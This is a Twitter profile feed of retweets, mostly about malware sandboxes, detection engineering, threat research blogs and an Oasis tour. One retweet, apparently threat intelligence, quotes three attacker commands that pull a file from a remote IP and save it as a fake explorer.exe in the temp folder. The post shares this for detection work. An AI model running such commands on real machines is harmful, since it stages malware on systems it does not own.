I have been recruited by the Star League to defend the Frontier against Xur and the Ko-dan Armada
Joined July 2009
- Tweets1.5K
- Following404
- Followers1.3K
- Likes1.7K
William Metcalf retweeted
10 years ago today CAPE Sandbox was released...
Today we are proud to announce its desktop partner-project CAPEsolo: github.com/CAPESandbox/CAPEs… 🎉
All the power of the sandbox in a desktop application 💪
pip install capesolo
William Metcalf retweeted
I just pushed out version 1.9.28 of box-js to NPM (npmjs.com/package/box-js).
William Metcalf retweeted
Security Detections MCP 3.0 is LIVE
What started as a detection search MCP is now an autonomous detection engineering pipeline.
Agents now run a full workflow:
CTI → coverage analysis → detection generation → SIEM validation → PR staging
Pipeline example:
• CTI Analyst → extracts MITRE techniques from threat intel
• Coverage Analyzer → checks 7k+ detections across Sigma / Splunk / KQL / Elastic
• Detection Engineer → generates missing detections
• Atomic Executor + SIEM Validator → tests detections
• PR Stager → prepares them for review
Multi-SIEM support:
Splunk • Sentinel • Elastic • Sigma
Open source 👇
Repo
github.com/MHaggis/Security-…
npm
npmjs.com/package/security-d…
Pulse MCP listing
pulsemcp.com/servers/mhaggis…
Watch the full demo:
youtu.be/03ZmD5cdfHI
William Metcalf retweeted
Talk about ending the week on a high note. 🎉 With @Cisco's acquisition of @snapattackHQ now complete, we're looking forward to driving further Splunk innovation as we continue to deliver security solutions that support today's new era of SIEM. Read more here. #SplunkSecurity
William Metcalf retweeted
“America.
Oasis is coming.
You have one last chance to prove that you loved us all along.”
Oasis will tour North America in 2025!
Register for the North American ticket pre-sale private ballot 👉OasisMusic.lnk.to/L25NAmPS
The pre-sale will take place Thursday, 3rd October.
Tickets go on general sale this Friday, 4th October at midday local venue time.
@CageTheElephant
William Metcalf retweeted
“This is it, this is happening”
Tickets on sale this Saturday 31st August (🇮🇪8AM IST / 🇬🇧9AM BST)
Dates:
Cardiff Principality Stadium - 4th/5th July
Manchester Heaton Park - 11th/12th/19th/20th July
London Wembley Stadium - 25th/26th July & 2nd/3rd August
Edinburgh Scottish Gas Murrayfield Stadium - 8th/9th August
Dublin Croke Park - 16th/17th August
William Metcalf retweeted
Liam and Noel Gallagher seemingly confirmed that an Oasis reunion is happening after sharing a cryptic clip on social media on Sunday.
variety.com/2024/music/news/…
William Metcalf retweeted
I've hosted several malware analysis workshops over the past few years, I've collected those on YouTube and added to the following playlist 👇
youtube.com/playlist?list=PL…
Samples from the workshops have been archived on Github:
👉 github.com/jstrosch/malware-…
William Metcalf retweeted
Moar soon! Big updates coming
New drivers have been added to @magicswordio LOLDrivers thanks to multiple community contributions. These include
- Chaos-Rootkit.sys a malicious driver used by Chaos-Rootkit
- wnBio.sys and GPU-Z.sys used by the RealBlindingEDR tool
- iobitunlocker.sys
- filwfp.sys, fildds.sys and filnk.sys were being used to Kill EDRs as reported by Sophos X-Ops.
You can check everything in full details loldrivers.io/
GGs to @M_haggis for cooking the PRs 🧙♂️
William Metcalf retweeted
Happy to share this #STRT blog focusing on how attacker weaponized .LNK files in several phishing campaigns. In this blog we analyzed several malicious LNK to extract TTP’s for #detections and #simulation dev. enjoy reading!
#int3 #splunk #cisco
splunk.com/en_us/blog/securi…
William Metcalf retweeted
Extremely proud of splunk.com/en_us/blog/securi… the latest blog on #WINELOADER by @tccontre18 @M_haggis and the #STRT team. My favorite things are:
⛓️ Super simple to understand the attack chain
🚗 [cue meme] this puppy fits soo many #atomicredteam tests
🛡️ Splunk detections!
1/x
William Metcalf retweeted
On 14 Mar 2024 around 2115 UTC, #Gootloader changed the #JavaScript library it hides in to @ApacheECharts. The zip changed from around 720 KB to 5 MB. The .JS inside is now 22.5 MB. Created a new #YARA rule to detect it github.com/GootloaderSites/T…
William Metcalf retweeted
🎉 Updated ASRGEN🚨
If you haven't been following along, Microsoft recently added two new ASR rules in preview.
- Block rebooting machine in Safe Mode (preview)
- Block use of copied or impersonated system tools (preview)
1. learn.microsoft.com/en-us/mi…
2. learn.microsoft.com/en-us/mi…
These are both under preview "This capability is currently in preview. Additional upgrades to improve efficacy are under development."
🤔but maybe you want to test them out? ⚛️
Check out the updated ASRGEN for 1 click gen to enable one or many for testing.
asrgen.streamlit.app/
asrgen.streamlit.app/ASR_Con…
William Metcalf retweeted
new role opened for someone who loves crafting detections, threat intel, and all the goodness of smashing bad in email: jobs.careers.microsoft.com/g…
happy to answer any questions
William Metcalf retweeted
We are scouting for reverse engineering talent to contribute to Microsoft’s intelligence mission: jobs.careers.microsoft.com/g…
I can’t guarantee you will understand the vast security data, but I can promise you will often be the first human defender to ever look at a certain malicious code. You have the opportunity (duty?) to create global protections for that malware – for enterprises and home users alike. Quite a few times, you will do this before it causes any harm.
Curiosity & ingenuity as important as technical experience.
If we have worked together (#FLARE 👀 or otherwise), please DM for questions.
MSTIC is looking for Senior Security Researchers (Malware Reverse Engineers) in the US and Australia to join our MSTIC-RE team. This is an exciting opportunity to make a tangible difference in combating Nation State (NS/APT/DHA) and ransomware threats.
jobs.careers.microsoft.com/g…
William Metcalf retweeted
Example commands to copy files included:
cmd.exe /c "extrac32 /Y /C \\64.52.80[.]221@80\udXyzMes\jquery %temp%\explorer.exe
cmd.exe /c "findstr /V /L egwwge \\64.52.80[.]221@80\QUnsVajK\jquery > %temp%\explorer.exe
cmd.exe /c "type \\64.52.80[.]221@80\FkFiTPvB\jquery > %temp%\explorer.exe
William Metcalf retweeted
Possible earlier #AtlasCross maldoc: virustotal.com/gui/file/f831… . Hex encoded payload in 'Hyperlink Base' doc attr field, same hex decode func, same doc attr lookup func. Payload something like virustotal.com/gui/file/5fcb…
#AtlasCross is a very cautious hacker organization with strong process and tool development capabilities. It actively absorbs various hacker technologies, and chooses the most conservative route to reduce its exposure risks.🔗 nsfocusglobal.com/warning-ne…
